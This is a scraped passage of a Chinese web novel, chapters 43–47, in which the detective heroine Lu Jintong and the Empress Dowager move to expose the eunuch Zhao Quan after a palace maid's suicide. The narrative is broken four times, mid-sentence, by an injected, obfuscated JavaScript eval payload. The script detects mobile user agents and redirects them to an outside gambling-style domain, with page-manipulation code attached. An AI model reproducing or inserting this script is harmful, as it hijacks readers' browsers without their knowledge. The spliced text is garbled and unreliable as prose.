“家里的不理解,赵全的变本加厉,她终于受不了了,采兰原本没打算把她的计划告诉我,是我率先察觉了她情绪的不对。我告诉她,这件事只凭她自己是做不成的,不光很容易被人瞧出破绽,慎刑司的也不会有人帮她,刺进她心口及腹部的刀是她自己做的,而我负责将绳索毁尸灭迹,并在殿外泼水,最近只有赵全取走的冰最多,只要一查,就一定能查到他的头上去。” 她看向路锦瞳:“我知道,即便是这么做了,或许赵全也不会露出真面目,毕竟这宫中有谁是敢招惹他的呢?但我知道,今日中秋,贵女们是会进宫的,破了宋云知小姐案子,并将朱尚书一家抓出来的您也被陛下邀请,如果选在今天,采兰的案子您极有可能会插手。” 路锦瞳一怔,没想到她也在她们计划中的一环:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15291917|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我么?” 天冬点头:“不错,奴婢之前听过您的名头,虽然不太好,可是宋云知小姐的案子是您和四殿下一手查出来的,朱尚书那么高官位的您也敢得罪,赵全肯定更是无所谓了。奴婢得向您道歉,惹了皇上身边内监也不会有好名声,是奴婢想的方法害了您,可这样的关头,为了能不让采兰白死,奴婢只有这么做。” 路锦瞳慢慢回过神来,她挠了挠额角:“利用我倒是没关系,可只凭我一个人,恐怕无法将赵全拉下马,你也知道,宫中大多数人还是听他的,指控一个人是需要证据的,如果届时没有人肯站出来说话,只有你这么一个疑似害死采兰的嫌疑人的话,只怕取信度不高。” 天冬恳切道:“这没有关系,只要您肯帮忙就很好了。您放心,除了奴婢之外,殿中所有的姐妹都愿意作证,我已经与她们商量好了,她们都不怕死,都愿意为采兰作证,我们全殿的人加起来,皇上肯定是会相信的!” 这倒是个法子,只是……路锦瞳道:“此事一出,你们恐怕在宫中的日子就难过了。” 天冬无奈的笑:“我们在宫里的日子本就难过,不差这一遭,更何况,为采兰发声,亦是为我们自己发声,如果就让赵全这么猖獗下去,还不知道会有多少姑娘遭他的毒手,谁能保证下一个不是我们的其中一个呢?” 路锦瞳好半天讲不出话来,难怪她和慎刑司的嬷嬷审问这些宫女的时候,她们给出的答案都是相同,原来她们早就看到了采兰的经历,却因为身份低微什么都做不了,在此事发生后,只能尽自己所能的去帮助采兰完成她想做的事情。 女孩子的友谊真好啊。路锦瞳叹了口气:“我知道了,但是我也有个要求,我有自己的原则,我会将事实真相都说出来,包括采兰只是自杀,你在其中起了什么作用我都会如实报给皇上。不过你放心,赵全一定要为自己的所作所为付出代价,不仅这件事,我会托人去查旁的事情,一定给采兰,还有你们一个交代。” 天冬露出笑脸:“多谢姑娘,我在做这些事的时候就知道会有什么样的结果了,我并不怕会受到处罚,死也无妨。有的时候,死比活着要容易多了,我和采兰相识数载,虽不是朋友,但也是势均力敌的对手,她走到如今这一步,哭天无路求地无门,与她一样的我们又何尝不是如此,我帮她,也是在帮我自己。” 她看天冬垂眼,掩下眸中的痛色。路锦瞳直觉天冬也一定遭受过什么,可她不说,她也就不能问,一个姑娘独自在深宫闯荡,比独身一人去大城市闯荡还要难,经历的东西一定很多。 路锦瞳起身:“你先跟我出来,我不会让慎刑司的人带走你,既然决定要把赵全扳倒,那就必须告到皇上面前去,而在这之前,先要让太后娘娘知晓。” 44. 第 44 章 在这宫中,她的身份或许也就比宫女高点,连慎刑司的嬷嬷都敢明目张胆的嘲笑,属于谁也惹不起的程度,所以如果她想要把采兰自尽的真相道出并让人信服,再把赵全拉下马,只凭自己一个人的能力是不行的。 后花园目前不许男人进出,她也不能去找容筝,楚知微更不可能,她也是从宫外来的,宫内不太可能有自己人,就算是有,也不会因为这个事情暴露出来。路锦瞳想来想去,也只能去求助刚刚赏赐过她的太后娘娘了。 太后娘娘夸她的时候,她能看出是真心实意,是真心欣赏她的作为,并不是说场面话糊弄糊弄,去向她说明情况成功的几率更大。路锦瞳也不怕会得罪皇上,从之前容筝所说的那些话能听的出来,她查案的事情皇上不是很想插手,属于是随她的便,若不是有人专门写奏折弹劾,恐怕也不会管,后面甚至同意容筝来找她协同攻破悬案。 她遇上命案所以要查个清楚想必皇上能理解,但是让路锦瞳有些拿不准的是皇上对赵全的态度,不管怎么样赵全都是皇上身边的红人,如果她把赵全戳穿,皇上会不会觉得掉面子恼羞成怒? 她已然答应了天冬,更无法看着采兰就这么白死留赵全猖獗,天冬等人肯不顾一切的作证,就是将身家性命都赌在了路锦瞳的身上,如果她不同意或是失败,恐怕赵全不会放过她们之间的任何一个。 路锦瞳叹了口气,带天冬回了偏殿,那位嬷嬷正坐在椅上闭眼假寐,闻声睁眼,淡声道:“路姑娘可问出了什么,如果没什么进展,我就要带她走了,别耽误查案的进度。” 路锦瞳笑道:“我问出了一些东西,只是现下尚不能和嬷嬷说,我得带她去求见太后娘娘。” “放肆!”嬷嬷怒道,“一个宫女的死,你居然要闹到太后娘娘跟前去,娘娘年事已高,哪有精力应付这种小事?你莫不是查不出了,在想方设法的拖延时间,还要娘娘为你开脱吧?” 路锦瞳给她手动消气:“嬷嬷急什么,这是在宫里,天冬和我还能跑了不成?宫门守了那么多人,总不可能随随便便的就把人放走吧?再说了,我的家人还在京城,为了他们,我也犯不着带天冬离开。” 她笑了一下:“更何况,和您打赌我也没有赌什么东西,顶多就是名声差些,不过吧,我的名声已经够差了,也不在乎这一点点。还希望您能再给我点时间,此事牵扯颇多,恐怕你没有办法处理,我也一样,最终结果的权力在皇上或是娘娘的手中。” 她微微弯腰,向嬷嬷行了个礼,随后拉了竹月:“跟我一起过去。” 竹月一头雾水,但还是抬脚跟上,她回了一下头,看到那个嬷嬷脸色铁青,心中不免有些害怕。 小姐的胆子是越来越大了,原先只招惹京中贵女,现在连宫中慎刑司的嬷嬷也敢惹,还有什么是她不敢做的么?之前她还觉得小姐终于长大了,心中存了些许欣慰,现在瞧瞧还是算了,欣慰什么呢?孩子静悄悄必定在作妖,安静了这段日子只是为再憋个大的罢了。 到了太后的殿外,路锦瞳先请宫女进去通报她要见太后,随后回头对竹月道:“等会儿你在这陪着天冬,只我一个人进去,无论是谁要带走她都不许,知道了么?” 竹月一怔,随后连连点头,宫女这时便也出来:“路姑娘,请。” 有大半的贵女们都在此处和太后聊天,逗得老人家笑个没完,见路锦瞳进来,眼中都燃了八卦之火,可惜太后还在,也不能光明正大的问,方才留在偏殿吃瓜的姐妹还没回来,也无法给她们讲讲究竟发生了什么。 路锦瞳恭恭敬敬的见了礼:“娘娘,请借一步说话。” 太后颔首:“好。心月,扶哀家去后头。” 与贵女聊天的只能算作会客厅,再往里走上几步还有一间屋子,离前厅较远,也不怕会有人听着什么。太后娘娘在心月的搀扶下坐回去,她向路锦瞳招招手,目光点点对面的桌椅:“你也坐。” “多谢娘娘。”路锦瞳乖乖坐到对面,她尚未开口,太后就先道:“你是来向哀家汇报案情的?” 路锦瞳摆出不好意思的表情:“是,民女有事想请娘娘帮忙。” 太后娘娘“哦”了一声:“细细说来听听。” 路锦瞳便把采兰和赵全的事说了,又将天冬的一片苦心以及后花园宫女的义气也绘声绘色讲了一遍,她不免有些唏嘘,叹声道:“天冬与采兰原本是敌对,但却因为这事不顾性命,民女不忍看着采兰白死,更不想就这么放过赵全,所以想请娘娘帮帮忙,能否找人仔细查一下这个赵全,有什么罪名通通搜罗出来,这样民女去状告皇上的时候,也能一举将他拉下水。” 她故意把采兰和天冬说的很可怜:“若是民女办不成,天冬落到慎刑司的手中,恐怕案子就会不了了之,那她们所做的一切就全都白费了。赵全无人管制,在后宫还不知要掀起多大的风浪,毁了多少清白的好姑娘。” 太后陷入沉思,不过她只短短的想了一会儿,便抬头吩咐心月:“去找与赵全相熟的人问话。” 心月领了吩咐退下,路锦瞳眼睛都亮了,她连忙起身向太后盈盈一拜:“多谢娘娘!” 太后摆手让她坐回去:“不必感谢哀家,哀家也不过是顺水推舟,说实话,赵全这个人,实在太精明了,因为有一张能说会道的嘴,将皇帝哄得找不着北便罢了,还将宫中搅得乌烟瘴气。他和采兰的事,哀家早就听说,一直都不满意,倘若宫女和太监对食都能大肆宣扬,那将来这样的事情岂不是都要发生,还都能光明正大?哀家不是忌讳这样的事,只是他终究不能摆到明面上去。” 路锦瞳点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15314078|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,这个时代对女性要求太苛刻了,宫中的宫女倒是不必像贵女们一样出门必须带着帷帽,可也没强到哪里去,宫中除了太监就是侍卫,不论是和谁,只要传了什么流言蜚语,就一定是宫女的错,低阶太监和侍卫根本不敢考虑,也只有权力高些的才敢去找宫女,借着手中的权堵住有心人的嘴。赵全属于是例外了,毕竟皇上喜欢他,瞧他孤家寡人,找个伴也挺好。 “还有一个理由,赵全不该动手,哀家一直都不觉得向女人动手的是什么好男人。”太后又续了一句,路锦瞳一愣,随后点头附和,“民女也这么觉得,真正有本事的人都是敬着家中妻眷的,像那种动不动抬手打人的,都是没什么本事的男人!” 太后恐怕没与她讲真话,赵全可是皇上身边的红人,哪怕是亲生母子,皇上长大了也不喜欢一直被拘束着,做什么都要过问太后,身边太监如何也听太后的意见。再者宫中黑暗那么多,太后凭什么就偏要管采兰的事呢? 只有一个可能,那就是赵全与太后不对付,做了什么惹太后恼怒的事情,这才导致太后容不下她,正巧路锦瞳送上门来,她既能除掉心中大患,又能帮到路锦瞳的忙,一举两得。 太后被她逗笑:“行了,哀家应了你,可放心了?心月审人有一套,加上是哀家身边的人,宫人不敢不给她面子,要不了多久,她就会拿着证据和证人回来,你想去皇帝面前告状,随时都行,有哀家在。” 路锦瞳便再道:“多谢娘娘。” 太后笑笑:“只是……你打算如何告诉皇帝?” “民女会在宴席开始前,或者结束后去求见陛下,也许陛下会传召民女,毕竟民女此番得以入宫,还多亏陛下恩赐。”路锦瞳道,“此事得与皇上私下说,真闹到宴席上去,恐怕皇上会不喜民女,民女虽莽撞,大体还是识得的。” “这便好。”太后笑笑,瞧着也是放心了的样子,似乎是生怕她急急国王在宴席揭露出来,这样的话成功几率很大,当着所有人的面把赵全真面目抖落出来,皇上骑虎难下,肯定会好好惩治赵全,只是路锦瞳这辈子也就完了,她将被皇上永久拉入黑名单。 谁会喜欢把自己架在火上烤的人呢?这事知道的人越多,皇上的面子就越挂不住,谁让赵全是皇上身边亲近的人呢,要是换个旁的,恐怕路锦瞳也不必避讳这么多。 她算是发现了,自从来到这里,她逮大官一逮一个准儿,将来她不会把皇上也逮下来吧? 呸呸呸,这话可不兴说,逮皇上,这是没活够吧?她凭什么逮皇上,凭她的那点决心么? 那可太抱歉了,她这点决心还真不算什么。 太后让她安心等着,那她就等,只是外头那些贵女们不能一直晾着,心月被派了出去,便有路锦瞳扶着太后出来,继续与她们谈天。 45. 第 45 章 谈笑间余,太后特意看了路锦瞳好几眼,发现她临危不乱,一殿宫女的性命都牵系在她头上,也是面色淡然的倾听,不见焦灼,不禁暗暗点头。她遣了宫女叫偏殿剩下那些看热闹的回来,至于慎刑司的嬷嬷,也叫他们先回去了,现在案子太后牵扯了进来,她们心中怨言再甚也不能说出来,只好愤然离开。 路锦瞳叫竹月先带着天冬去旁屋等等,心月带了消息回来,她马上就想办法去见皇上,当务之急,是先把天冬稳住,并且不能让任何人把她从路锦瞳眼前带走。 路锦瞳需得在殿中露脸,时刻等着心月回来,只好把这重要的任务交给竹月,好在竹月从小也是跟着原身四处折腾,比一般丫鬟力气大了不少,若是发生什么,也有浅浅的一点还手之力。楚知微担心她一个人应付不过来,还把自己的丫鬟也留了下来,她的丫鬟学过拳脚功夫,是她从一个落魄武馆买回来的,若是有人强行抢人,也能抵挡一阵子。 后花园虽静,但好歹宫人较多,路锦瞳便也彻底放心,在殿中等消息回来。 楚知微坐回她身边,悄声道:“许嬷嬷走的时候表情不快,只怕你这回是彻底将她得罪了。” “得罪就得罪吧,”路锦瞳亦小声道,“她要生气我也没办法,天冬带着一群姑娘求到我面前,我总不能不管,放任赵全继续去祸害旁人吧?再说了,我最讨厌的就是爱打女人的男人了,如果袖手旁观,不仅采兰白死,天冬还要被冤枉成为凶手,剩下殿中的宫女们怎么办?她们又压不过赵全,将来只会成为现在的采兰和天冬。” 楚知微顿了一下,随后道:“既然你已经决定,那就都听你的,万事小心。如果需要我的帮忙,要与我说。” “放心,这件事我有把握能告到皇上那里去,只是皇上的态度我无法保证罢了。”路锦瞳叹了口气,“谁让那赵全是皇上身边的红人呢,他要不是就好了,采兰的仇分分钟就能报。” 楚知微轻轻摇头:“这事在后宫中是常有的,如果你今日不来,她们也没有什么法子,只能继续忍下去了。” 路锦瞳耸耸肩:“所以说,既然她们把希望都放在了我的身上,那我无论如何都要努力搏一搏,不能辜负她们的信任。” “你不生气?”楚知微讶然,“她们这可是将你架在火上烤。” “生气有用么?事情已经发生了,与其迁怒这个迁怒那个,或是焦虑想当甩手掌柜,不如想办法破局,不要辜负她们的期望,把这事办的齐齐整整的。” 楚知微只一愣,随后道:“姐姐说的是,我狭隘了。” 路锦瞳却道:“这是什么话,什么狭隘不狭隘的,一个人心中一个想法,只是这是我的罢了,不能说我这么想,便也要求你们也这么想吧?我想管是我自己的事,与谁都无关,更不能要求别人也像我一样去管。我敢管这事是因为我家里人支持,再加上太后娘娘和善,这回进宫又是皇上邀请,这才胆大包天的,换了旁人,没有我这样的前提,也不能强求人家做什么。” 她这么说着,心月已从门外进来,附耳到太后跟前说了什么,太后便道:“路丫头,随哀家进来。” “是。”路锦瞳连忙起身。 后面回来的贵女们将偏殿的事都讲给了提早到了的,这些人眼中对路锦瞳的敌意都消了不少,此刻看她随着太后进去,眼中都带了些许钦佩,更多的则是浓郁的八卦之火,恨不得让路锦瞳把她们的耳朵一并带进去,好近距离听到她们之间的谈话。 路锦瞳乖觉坐到太后对面,心月这才开口:“奴婢去寻了与赵全相熟的几个内监,他们起初不肯说,后面都承认了,赵全确实是有殴打过采兰,并且,还贪过宫中银两,这是他当时做的假账。” 这么说着,心月将一本册子递给太后,路锦瞳伸长了眼睛瞥到一眼,见上面的字凌厉且乱,她不认识赵全的字是什么样,却能看出是否原件,这里已经有了印刷术,心月这么短的时间从不可能印一本出来,这是直接把原件拿过来了? 作为御前太监,皇上有许多事是交由他们去办的,其中不乏牵涉银两的事,身处高位的人大多贪心,经过他们手的总要克扣下来一些,至于赵全,这位更是胆大包天,别人只克扣一点,他则是使劲扣,能扣多少就扣多少。他这人能言善道,将皇上哄得团团转,几乎没人敢于他交恶,自然是他贪多少就是多少了。 太后默了半晌,摇头:“不够。” 不错,只是苛待宫女,中饱私囊罢了,皇上听了会怒,可能会夺了他的权名,但或许不会要他的命。赵全好歹在宫中混了这么多年,可不是白混的,人脉只怕布满整个宫中,将他拉下马容易,可要他的命却不容易。 路锦瞳皱紧了眉,便瞧见太后难得动了怒:“一个阉人,哀家竟也动不得了。” “娘娘息怒,”她连忙道,“赵全在宫中多年,又位高权重,大家大抵都是忌惮他的权势,我们若想拉他下马,其实也容易的很,在宫中多年,不可能不竖敌,您说是么?” 太后一顿,眼睛眯了起来:“你倒是真想要他的命。” 路锦瞳惊觉自己失言,她现在的身份可不是该说这种话的时候,便是换了旁人,说这种话也得掂量一下。还是太没心眼子了,这可是在宫里,不是平常的工作岗位! 路锦瞳圆了圆眼,她道:“民女只是太气愤了,采兰一个姑娘家并未招惹过她,就遭此迫害,民女曾见过许多成婚妇人被丈夫殴打,却因为要把日子过下去不得不隐忍,实在是太过于恼怒了,娘娘恕罪。” 她故意作出不忿的神态,太后终于再次露出笑脸:“还真是孩子心性啊……不过,你说的是,作为东厂都督,这些年来想拉他下马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15336822|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人只多不少,心月。” 心月连忙靠近:“娘娘。” 太后道:“锦衣卫指挥使现在尚在宫中,给哀家叫来。” 心月领命下去。 她看向路锦瞳:“放心,这事哀家管到底了。” 路锦瞳连忙摆出笑脸:“多谢娘娘,若不是娘娘鼎力相助,民女恐怕真的要让天冬失望了。” 失言一次,可就不能再来第二次第三次了,太后帮她是帮她,可谁知她心里算盘打的如何呢,与宫斗冠军相处还是小心小心再小心吧。 现在这个时间只是贵女们在后花园,官员们恐怕还要之后再来,太后去寻锦衣卫更快更便捷,加上锦衣卫与东厂向来不睦,想必在扯赵全下水这事上一定会不遗余力的出力,这件事稳了。 只是顺利的有些太过了。路锦瞳突然脑中冒出疑问来,天冬等人在宫中深居简出,她们是如何知道路锦瞳在宫外破案的事的?太后又为什么这么痛快的答应帮她,难道这是她的主角光环?她不信。 横竖是给人当棋子,就算是要当,也不能当傻子棋子,路锦瞳之后努力把自己摘出来,使劲打感情牌,让太后觉得她就是想替采兰讨个公道,虽说事实如此,但太后信不信又是一回事,她只是查个案子,可不想卷进什么里头去。 要不是现在才意识到,已经来不及了,她决定不会接这个事的,让他们自己去斗好吗,她就是个无辜的路人甲。 “你也不要太给自己压力了,哀家帮你,莫怕。”太后伸手过来安抚她,路锦瞳连忙受宠若惊的抬手,由着太后粗粝的掌心拂过她的手背。她眼尖,就那么一瞬,看到了太后掩在华服下手臂上的疤痕。 那疤痕圆圆的,凹起块肉来,路锦瞳心头一跳,猜到有可能是烟头烫伤,这个时代也有烟,与现代有所差别,但大差不差,若要在人身上留下痕迹,都是一样的。 她的目光只停留一刻,便飞快的转移了,路锦瞳最擅长的就是装没事人,太后肯定不可能是专门露给她看的,只是桌子有点长,她伸手时不小心就出来了。有这样的伤疤,一定是心头的痛处,她可不能做揭人伤疤的事,这样不说,太后肯定不乐意被她知道。 太后这样贵气,怎么会愿意被人知道自己的过往呢?于是路锦瞳敛下眉眼,再次道了声谢。 心月又下去了,太后却不愿再跑到外头去了,她道:“就让年轻姑娘们在外头交谈吧,哀家出去只会让她们觉得拘束。路丫头,在这里陪着哀家,不会觉得无聊烦闷吧。” 路锦瞳笑道:“娘娘说笑了,锦瞳仰慕您许久,能与您单独待着不知有多高兴呢。” 并不高兴,谢谢。救救她,她应该和太后聊点啥啊。路锦瞳脸都要笑僵了。 好在她嘴笨,但眼力见还是有的,眼瞅着太后的茶喝完了,连忙起身给人续上。 46. 第 46 章 太后弯了眉眼,看她倒完茶后规规矩矩的坐回去,手还不自觉把衣摆捋平,有些惊奇。这给你明明刚才做事那么果决,眉眼间还藏着股狠劲儿,恨不得直接去要了赵全的命似的,她还以为路锦瞳无论是什么都能如常应对呢,结果不讲案子了,她反而乖觉了,甚至还有些拘谨。 太后便笑笑,端起茶杯抿了一口,赶在路锦瞳没话找话前开口:“家中父母可好?” “好……挺好的,”这话问的猝不及防,路锦瞳连忙接道,“多谢娘娘关心,家中父母都很好。” 太后颔首:“这便好。你家制的胭脂哀家常用,确实要比别家好得多,你父母都是经商的能人。” “娘娘过奖了。”路锦瞳挤出笑脸,“民女的爹娘喜好钻研这些,做什么都认真,不断改进自然东西就更好一些。” 太后“嗯”了一声,她道:“哀家听说,老四邀你一同去查几年前的那个少年被害案,查得如何了?” 怎么有种向领导汇报工作的感觉。路锦瞳一聊到工作就没那么拘束了,她眉眼间的自信又不自觉跑了回来:“查了个大概,毕竟是好几年前的案子,有用的证据都消失的差不多了,只能询问当时的办案人员,现在差不多知道了嫌疑人是何人,正派人去把他找到,再询问细节。” 太后便叹了口气:“说到这事,哀家和皇帝都得谢谢你。这桩案子一直是老四的心病,那个沼水村的少年出事后,他就总是把自己关在屋子里,后来想通了,便跟着沈知安学习办案,为此落下不少课业。哀家见那孩子有时都顾不上吃饭睡觉,拼了命的钻研案子,这桩案子也是,翻来覆去研究了多少年了,都没一点进展,想劝又不知该如何劝说。” 啊……路锦瞳圆了圆眼,研究这么多年都没个结果,跟容筝相处这么久,她也没觉得他是个笨人啊,难道说是因为不太擅长这一行,所以才卡了这么久? 脑子肯定是没问题的,不然也不会路锦瞳稍稍一点拨就能续下去,只是一直没进展也太怪了。 可惜她就算觉得容筝比较笨,不是查案的这块料也不能明说,除非脑袋不想要了。路锦瞳便笑道:“娘娘过誉了,民女只是平常喜好看些杂书,所以相对了解一点。而且若不是殿下这些年持续跟进知道了那么多的证据,恐怕我也不会进展这么快。” 太后也不懂这些事,但听了路锦瞳的话总归是高兴的,她道:“只要能破了这案子,哀家一定要皇帝好好的赏赐你,像你这样聪明又肯干事的姑娘可不多了,便是朝臣都没有你这么能干。” 这大帽子!路锦瞳惊恐道:“娘娘折煞民女了,各位大人为朝政鞠躬尽瘁,哪是民女能比的,民女不过耍些小聪明罢了。” 说她比庞载强一点她可以接受,但再多的人就不行了,自己算几根葱路锦瞳还是很有自知之明的,她哪能和这些朝臣们比,首先智商就赶不上,朝臣们能把她玩的团团转,她真和人刚起来恐怕活不过十分钟。 太后笑着摇头:“不必谦虚。” 她没有谦虚!求求您别问了!CPU快烧光了! 几番对话下来,路锦瞳满头大汗,更觉自己智商不够了,面前的好歹是宫斗冠军,她是个啥?她就是路边一打酱油的! 好在太后不继续夸奖她了,转而问起了案子的具体情况,看起来很感兴趣的样子,路锦瞳只好从最开始查的时候讲起,把心路历程,以及一些猜想绘声绘色的表演一番,太后听得一会儿挑眉一会恍然大悟,她觉得自己比说书人都讲得认真努力。 讲起案子后路锦瞳就不那么紧张了,毕竟这是她的舒适区。在讲到安排人去寻找邓徵后,才总算将前因后果全部讲完,她喝了口水,感觉嗓子裂了。 好久不做案件总结确实生疏了,路锦瞳以前可是能讲两个小时不带喘气的,怎么可能会渴成这样。 太后于是眉头紧锁:“没想到还有这样的事,童男的脏器真的包治百病?” “当然不可能了,”路锦瞳道,“不过是偏远地区的陋俗罢了,哪有杀人救命的。娘娘不知,越是偏远的村庄,百姓思想就越封建,吓人的紧。” 太后若有所思的点头:“也是,想当年哀家还是皇后的时候,曾有一位妃子给先皇侍疾,为表忠心居然割了手臂上的肉加进汤药中,先皇的病居然也就好了,哀家一直以为她侍疾有功,直到后来太医才发现,是因为他们改善药方多加了味草药,正好与先皇疾病对症,而那妃子不过是误打误撞罢了。” 路锦瞳点头:“能治病的东西有千千万万种,人肉却是绝对不可能的。” 割下自己的肉往人家汤药里搁,也真是个人才,路锦瞳由衷的佩服,佩服那妃子能下得了狠手,更佩服先皇在得知自己吃了人肉喝了人血之后还觉得一点事没有,那可是人肉啊,不觉得膈应么? 这招影视剧里倒是常演,不过真实发生后还是让人接受不能。 路锦瞳没问究竟是那味妃子干的这事,一般这种出头鸟估计会被很多人针对,更何况这是后宫里的事,与她无关,还是尽量少掺和好了。 正这么聊着,心月回来了,她一过来,路锦瞳便赶忙摸出面纱带上,她就等着路锦瞳戴好才退回去,随后领了一名穿着飞鱼服的人上来,路锦瞳没吃过猪肉也见过猪跑,当下便认出这大约就是太后要找的锦衣卫指挥使了,连忙起身见礼,随后转头向太后告退。 她方才想通了,整件事其实很简单,无论是采兰、天冬,亦或是路锦瞳自己,不过都是棋盘上的棋子罢了,赵全是东厂厂督,这个位置上的人一般都是宫中贵人的眼中钉肉中刺,就不说赵全本人做事狠辣,不招人待见了。太后一定是存了让他倒台的想法,否则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15360914|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天冬就不会求到她的头上来。 原身虽然没进过宫,可她的“威名”在京城叫人津津乐道,宫中人不可能不知道,再加上信息传播慢,不过宋云知一事能让人对她有所改观而已,拉赵全下马这事体这么大,天冬会放心的完全交给路锦瞳这么一个过往劣迹斑斑的人么?怎么着也得留个后手吧?可路锦瞳看着,她分明就是全部交给她了,看着还挺放心的。 要是换成路锦瞳,她绝对不会把一件关乎自己身家性命的事情交给一个吊儿郎当不知道正不正常的人手里的,她宁愿再想别的办法,或者是想方设法出宫求到沈知安面前去,这都比找路锦瞳成功率高。 可天冬就是这么放心的做了,并且路锦瞳简简单单的一说,太后还就答应了。 扳倒皇上身边的太监诶,这可是个得罪人的事,太后从始至终都没有对路锦瞳说,你去告诉皇帝的时候可别说我帮了你哦。她没有把自己择出去,说明就是要选择和赵全硬刚了,这得是赵全曾经把她惹得多急眼啊。 就别说太后把锦衣卫老大都叫过来了,她虽刚来不过一个月左右,却也知道锦衣卫和东厂是死对头,锦衣卫这些年不可能不收集死对头的把柄,他来了不就代表着要开战了么? 神仙打架凡人遭殃,路锦瞳不想遭殃,更不想卷进他们的战争中平白给自己增加无数死敌,虽说现在敌人也挺多了,但能少几个就少几个嘛,多了也没什么奖励,少了反而能稍微保住小命。是以她光速逃离战场,状告赵全的事逃不了,但这种秘辛她还是可以选择不听的。 只要不听,就什么都不知道,少知道一些反而是好事,对于她来说,不影响案情就好了,其他的她也没兴趣知道。 太后瞧了她一眼,没有出言阻拦,路锦瞳便走的更放心了。只是她也清楚,现场这么多双眼睛,如若赵全真的倒台,恐怕她也无法做旁观者。 见她出来,贵女们眼睛都亮了,八卦之火熊熊燃烧,只是都拉不下面子来问,毕竟方才进宫时还都瞧不上她呢,现在去和她谈话,多不好意思。 倒是楚知微轻声问:“如何了?” 路锦瞳摇摇头:“具体我也不知,听太后娘娘的吧。不过采兰的事肯定能处理。” 贵女们都不说话,秉了呼吸试图探听到里头人在说什么,只可惜里头与外面到底隔了很远,太后说话又轻,她们什么也没听着,只好低声互相交谈。 里面对话很快结束,心月送了头头出去,又转向路锦瞳:“姑娘请。” 路锦瞳再回去的时候太后正垂首喝茶,见她进来,又让她上前坐了,只道:“此事你莫牵涉太多,只要在宴会结束后去面见皇帝,将今日发生的事从头到尾告诉皇帝便可,剩下的,便由哀家来完成。” 就这么简单?路锦瞳一怔,随后很快答应:“民女明白。” 47. 第 47 章 路锦瞳的作用相当于一块敲门砖,太后一直不好开口的事情由她说出,就足以将事实呈到皇上面前,到了后面,不管皇上究竟要不要处罚赵全,太后都有理由借着这事去揭发更多的事,也不会让他们母子之间闹得不愉快。 至于在中间起作用的路锦瞳会被皇上怎么想,那她就不知道了,反正从接手上这事开始,她得罪人就是免不了的。路锦瞳只能接着,自古以来,谁办案那么轻易呢,她原先查案时也会遇上各种各样的关系户,还有一些公司老总的儿子仗着认识市长给她施压呢,但为了真相,再大的压力也得扛。 她顿了一下,随后道:“娘娘,那天冬……?” “哀家会赦她无罪,连同那些宫女都无罪,你放心便是。”太后道,“她们只是为了救姐妹,任何伤天害理的事情都没有做过,哀家不能向无辜之人降罪。” 路锦瞳松了口气:“多谢娘娘。” 那她就放心了,起码付出没有白费,要是她被当作棋子坑了,结果还没让采兰瞑目,天冬也枉死的话,那才叫白费功夫呢。 时辰已然不早了,天色暗了下来,宴会将要开始。路锦瞳便不再待下去,她须得和贵女们一起提早些走,后花园离大殿还是有段距离的,她们光走就要段时间,就别说这些姑娘们很少出远门,在家也是娇生惯养的,只怕走一段路就得稍微歇歇。 她自行出来,果真见原本围着坐的姑娘们走了七七八八,楚知微还在等她,见她过来站起身:“走吧,先去找你的丫鬟。” 竹月还带着天冬立在殿外,因为姑娘们出来,总会有视线落在她们身上,她便拉着天冬往角落躲了躲,伸长了脖子时刻盯着,等路锦瞳和楚知微结伴出殿,这才敢带着人绕出来。 路锦瞳也快走几步,她向天冬道:“你先回去吧。放心,我已经和太后娘娘说过了,稍后我就会去面见皇上,把一切始末都告诉他,请他为采兰做主。娘娘不怪罪你,你和她们都没有事。” 天冬的泪水夺眶而出,她突然后撤一步,“噗通”一声跪下,紧接着就是几个实诚无比的响头,她哽咽道:“多谢姑娘。” 路锦瞳吓了一跳,赶忙侧身避开,手忙脚乱的扶她起来:“这是干什么?快起来,你这也太折煞我了。” 天冬被她拉了好几下,竹月也低声劝着,她才肯起来:“姑娘言重了,奴婢只是个下人,跪您是应该的,哪里谈得上什么折煞。还要多谢姑娘救我们。” 